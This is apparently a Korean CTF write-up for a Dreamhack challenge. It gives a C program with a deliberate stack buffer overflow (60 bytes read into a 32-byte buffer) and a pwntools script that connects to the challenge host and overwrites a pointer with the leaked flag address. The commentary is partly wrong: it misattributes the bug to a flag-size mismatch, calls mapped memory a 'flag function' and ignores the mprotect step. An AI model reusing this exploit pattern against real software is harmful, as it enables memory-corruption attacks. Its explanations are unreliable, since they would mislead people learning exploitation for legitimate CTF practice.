#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define FLAG_SIZE 0x45
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int main(int argc, char *argv[]) {
int len;
char * fake_flag_addr;
char buf[0x20];
int fd;
char * real_flag_addr;
initialize();
fd = open("./flag", O_RDONLY);
len = FLAG_SIZE;
fake_flag_addr = "DH{****************************************************************}";
printf("fake flag address: %p\n", fake_flag_addr);
printf("buf address: %p\n", buf);
real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
printf("real flag address (mmapped address): %p\n", real_flag_addr);
printf("%s", "input: ");
read(0, buf, 60);
mprotect(real_flag_addr, len, PROT_NONE);
write(1, fake_flag_addr, FLAG_SIZE);
printf("\nbuf value: ");
puts(buf);
munmap(real_flag_addr, FLAG_SIZE);
close(fd);
return 0;
}
가짜 플래그와 실제 플래그의 크기가 같은 것으로 보이지만, 가짜 플래그의 크기가 고정되어 있어 실제 플래그의 크기와 다를 수 있다. 이는 가짜 플래그가 실제 플래그와 동일한 크기의 메모리 영역에 쓰여 있어 가짜 플래그를 출력할 때 메모리 오버플로우가 발생할 수 있다.



from pwn import *
context.arch = 'amd64'
p = remote('host3.dreamhack.games', 13856)
p.recvuntil('real flag address (mmapped address):')
flag_addr = int(p.recvline().strip(), 16)
code = b'a' * 0x30
code += p64(flag_addr)
p.sendline(code)
print(p.recvline())
context.arch = 'amd64' 는 현재 아키텍처를 64비트로 설정한다.
p.recvuntil('real flag address (mmapped address):')는 서버가 문자열을 받을 때까지 데이터를 수신하면서 flag 함수의 실제 주소를 보내는 것이다.
code += p64(flag_addr) 는 flag 함수의 주소를 64비트 바이너리로 변환하여 페이로드에 추가한다.
p.sendline(code)는 생성된 페이로드를 서버로 전송하고, print(p.recvline())는 서버로부터 한 줄의 데이터를 수신하여 출력한다.